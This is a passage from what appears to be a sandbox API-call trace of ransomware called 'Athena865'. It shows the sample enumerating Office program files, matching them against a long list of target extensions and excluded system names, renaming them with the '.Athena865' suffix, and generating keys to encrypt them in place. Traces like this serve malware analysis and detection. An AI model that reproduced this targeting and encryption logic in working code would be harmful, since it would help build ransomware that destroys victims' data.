(lpString="odb") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.672] lstrlenW (lpString="oqy") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0094.672] lstrlenW (lpString="ora") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0094.672] lstrlenW (lpString="orx") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0094.672] lstrlenW (lpString="owc") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0094.672] lstrlenW (lpString="p96") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0094.673] lstrlenW (lpString="p97") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0094.673] lstrlenW (lpString="pan") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0094.673] lstrlenW (lpString="pdb") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0094.673] lstrlenW (lpString="pdm") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0094.673] lstrlenW (lpString="pnz") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0094.673] lstrlenW (lpString="qry") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0094.673] lstrlenW (lpString="qvd") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0094.673] lstrlenW (lpString="rbf") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0094.673] lstrlenW (lpString="rctd") returned 4 [0094.673] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0094.673] lstrlenW (lpString="rod") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0094.673] lstrlenW (lpString="rodx") returned 4 [0094.673] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0094.673] lstrlenW (lpString="rpd") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0094.673] lstrlenW (lpString="rsd") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0094.673] lstrlenW (lpString="sas7bdat") returned 8 [0094.673] lstrcmpiW (lpString1="VC60.DLL", lpString2="sas7bdat") returned 1 [0094.673] lstrlenW (lpString="sbf") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0094.673] lstrlenW (lpString="scx") returned 3 [0094.673] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0094.673] lstrlenW (lpString="sdb") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0094.674] lstrlenW (lpString="sdc") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0094.674] lstrlenW (lpString="sdf") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0094.674] lstrlenW (lpString="sis") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0094.674] lstrlenW (lpString="spq") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0094.674] lstrlenW (lpString="te") returned 2 [0094.674] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0094.674] lstrlenW (lpString="teacher") returned 7 [0094.674] lstrcmpiW (lpString1="C60.DLL", lpString2="teacher") returned -1 [0094.674] lstrlenW (lpString="tmd") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0094.674] lstrlenW (lpString="tps") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0094.674] lstrlenW (lpString="trc") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.674] lstrlenW (lpString="trc") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.674] lstrlenW (lpString="trm") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0094.674] lstrlenW (lpString="udb") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0094.674] lstrlenW (lpString="udl") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0094.674] lstrlenW (lpString="usr") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0094.674] lstrlenW (lpString="v12") returned 3 [0094.674] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0094.674] lstrlenW (lpString="vis") returned 3 [0094.675] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0094.675] lstrlenW (lpString="vpd") returned 3 [0094.675] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0094.675] lstrlenW (lpString="vvv") returned 3 [0094.675] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0094.675] lstrlenW (lpString="wdb") returned 3 [0094.675] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0094.675] lstrlenW (lpString="wmdb") returned 4 [0094.675] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0094.675] lstrlenW (lpString="wrk") returned 3 [0094.675] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0094.675] lstrlenW (lpString="xdb") returned 3 [0094.675] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0094.675] lstrlenW (lpString="xld") returned 3 [0094.675] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0094.675] lstrlenW (lpString="xmlff") returned 5 [0094.675] lstrcmpiW (lpString1="0.DLL", lpString2="xmlff") returned -1 [0094.675] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVC60.DLL.Athena865") returned 70 [0094.675] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVC60.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvc60.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVC60.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvc60.dll.athena865"), dwFlags=0x1) returned 1 [0094.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVC60.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvc60.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.676] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=141160) returned 1 [0094.677] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.677] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.677] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.678] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22a70, lpName=0x0) returned 0x17c [0094.679] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22a70) returned 0x170000 [0094.686] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.687] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.687] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.687] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0094.689] CloseHandle (hObject=0x17c) returned 1 [0094.689] CloseHandle (hObject=0x154) returned 1 [0094.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.690] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x3c378, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UMLVS.DLL", cAlternateFileName="")) returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="..") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="windows") returned -1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="bootmgr") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="temp") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="pagefile.sys") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="boot") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="ids.txt") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="ntuser.dat") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="perflogs") returned 1 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2="MSBuild") returned 1 [0094.690] lstrlenW (lpString="UMLVS.DLL") returned 9 [0094.690] lstrcpyW (in: lpString1=0x241e8aa, lpString2="UMLVS.DLL" | out: lpString1="UMLVS.DLL") returned="UMLVS.DLL" [0094.690] lstrlenW (lpString="UMLVS.DLL") returned 9 [0094.690] lstrlenW (lpString="Athena865") returned 9 [0094.690] lstrlenW (lpString=".dll") returned 4 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".dll") returned 1 [0094.690] lstrlenW (lpString=".lnk") returned 4 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".lnk") returned 1 [0094.690] lstrlenW (lpString=".ini") returned 4 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".ini") returned 1 [0094.690] lstrlenW (lpString=".sys") returned 4 [0094.690] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".sys") returned 1 [0094.690] lstrlenW (lpString="UMLVS.DLL") returned 9 [0094.690] lstrlenW (lpString="bak") returned 3 [0094.690] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.691] lstrlenW (lpString="ba_") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.691] lstrlenW (lpString="dbb") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.691] lstrlenW (lpString="vmdk") returned 4 [0094.691] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.691] lstrlenW (lpString="rar") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.691] lstrlenW (lpString="zip") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.691] lstrlenW (lpString="tgz") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.691] lstrlenW (lpString="vbox") returned 4 [0094.691] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.691] lstrlenW (lpString="vdi") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.691] lstrlenW (lpString="vhd") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.691] lstrlenW (lpString="vhdx") returned 4 [0094.691] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.691] lstrlenW (lpString="avhd") returned 4 [0094.691] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.691] lstrlenW (lpString="db") returned 2 [0094.691] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.691] lstrlenW (lpString="db2") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.691] lstrlenW (lpString="db3") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.691] lstrlenW (lpString="dbf") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.691] lstrlenW (lpString="mdf") returned 3 [0094.691] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.691] lstrlenW (lpString="mdb") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.692] lstrlenW (lpString="sql") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.692] lstrlenW (lpString="sqlite") returned 6 [0094.692] lstrcmpiW (lpString1="VS.DLL", lpString2="sqlite") returned 1 [0094.692] lstrlenW (lpString="sqlite3") returned 7 [0094.692] lstrcmpiW (lpString1="LVS.DLL", lpString2="sqlite3") returned -1 [0094.692] lstrlenW (lpString="sqlitedb") returned 8 [0094.692] lstrcmpiW (lpString1="MLVS.DLL", lpString2="sqlitedb") returned -1 [0094.692] lstrlenW (lpString="xml") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.692] lstrlenW (lpString="$er") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.692] lstrlenW (lpString="4dd") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.692] lstrlenW (lpString="4dl") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.692] lstrlenW (lpString="^^^") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.692] lstrlenW (lpString="abs") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.692] lstrlenW (lpString="abx") returned 3 [0094.692] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.692] lstrlenW (lpString="accdb") returned 5 [0094.692] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0094.692] lstrlenW (lpString="accdc") returned 5 [0094.692] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0094.692] lstrlenW (lpString="accde") returned 5 [0094.692] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0094.692] lstrlenW (lpString="accdr") returned 5 [0094.692] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0094.692] lstrlenW (lpString="accdt") returned 5 [0094.692] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0094.693] lstrlenW (lpString="accdw") returned 5 [0094.693] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0094.693] lstrlenW (lpString="accft") returned 5 [0094.693] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0094.693] lstrlenW (lpString="adb") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.693] lstrlenW (lpString="adb") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.693] lstrlenW (lpString="ade") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.693] lstrlenW (lpString="adf") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.693] lstrlenW (lpString="adn") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.693] lstrlenW (lpString="adp") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.693] lstrlenW (lpString="alf") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.693] lstrlenW (lpString="ask") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.693] lstrlenW (lpString="btr") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.693] lstrlenW (lpString="cat") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.693] lstrlenW (lpString="cdb") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.693] lstrlenW (lpString="ckp") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.693] lstrlenW (lpString="cma") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.693] lstrlenW (lpString="cpd") returned 3 [0094.693] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.693] lstrlenW (lpString="dacpac") returned 6 [0094.694] lstrcmpiW (lpString1="VS.DLL", lpString2="dacpac") returned 1 [0094.694] lstrlenW (lpString="dad") returned 3 [0094.694] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.694] lstrlenW (lpString="dadiagrams") returned 10 [0094.694] lstrlenW (lpString="daschema") returned 8 [0094.694] lstrcmpiW (lpString1="MLVS.DLL", lpString2="daschema") returned 1 [0094.694] lstrlenW (lpString="db-journal") returned 10 [0094.694] lstrlenW (lpString="db-shm") returned 6 [0094.694] lstrcmpiW (lpString1="VS.DLL", lpString2="db-shm") returned 1 [0094.694] lstrlenW (lpString="db-wal") returned 6 [0094.694] lstrcmpiW (lpString1="VS.DLL", lpString2="db-wal") returned 1 [0094.695] lstrlenW (lpString="dbc") returned 3 [0094.695] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.695] lstrlenW (lpString="dbs") returned 3 [0094.695] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.695] lstrlenW (lpString="dbt") returned 3 [0094.695] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.695] lstrlenW (lpString="dbv") returned 3 [0094.695] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.695] lstrlenW (lpString="dbx") returned 3 [0094.695] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.695] lstrlenW (lpString="dcb") returned 3 [0094.696] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.696] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.696] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0094.696] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0094.696] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVS.DLL.Athena865") returned 68 [0094.696] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVS.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvs.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVS.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvs.dll.athena865"), dwFlags=0x1) returned 1 [0094.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVS.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvs.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.698] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=246648) returned 1 [0094.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.698] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.699] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.699] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.699] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c680, lpName=0x0) returned 0x17c [0094.700] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c680) returned 0x170000 [0094.713] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.713] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.713] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.714] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0094.716] CloseHandle (hObject=0x17c) returned 1 [0094.716] CloseHandle (hObject=0x154) returned 1 [0094.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.717] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52af2500, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xad423880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52af2500, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x89190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0094.717] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="..") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="windows") returned -1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="bootmgr") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="temp") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="pagefile.sys") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="boot") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="ids.txt") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="ntuser.dat") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="perflogs") returned 1 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2="MSBuild") returned 1 [0094.718] lstrlenW (lpString="URLREDIR.DLL") returned 12 [0094.718] lstrcpyW (in: lpString1=0x241e8aa, lpString2="URLREDIR.DLL" | out: lpString1="URLREDIR.DLL") returned="URLREDIR.DLL" [0094.718] lstrlenW (lpString="URLREDIR.DLL") returned 12 [0094.718] lstrlenW (lpString="Athena865") returned 9 [0094.718] lstrcmpiW (lpString1="REDIR.DLL", lpString2="Athena865") returned 1 [0094.718] lstrlenW (lpString=".dll") returned 4 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".dll") returned 1 [0094.718] lstrlenW (lpString=".lnk") returned 4 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".lnk") returned 1 [0094.718] lstrlenW (lpString=".ini") returned 4 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".ini") returned 1 [0094.718] lstrlenW (lpString=".sys") returned 4 [0094.718] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".sys") returned 1 [0094.718] lstrlenW (lpString="URLREDIR.DLL") returned 12 [0094.718] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\URLREDIR.DLL.Athena865") returned 71 [0094.718] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\URLREDIR.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\urlredir.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\URLREDIR.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\urlredir.dll.athena865"), dwFlags=0x1) returned 1 [0094.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\URLREDIR.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\urlredir.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.719] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=561552) returned 1 [0094.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.720] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.721] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.721] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.722] CreateFileMappingW (hFile=0x154, 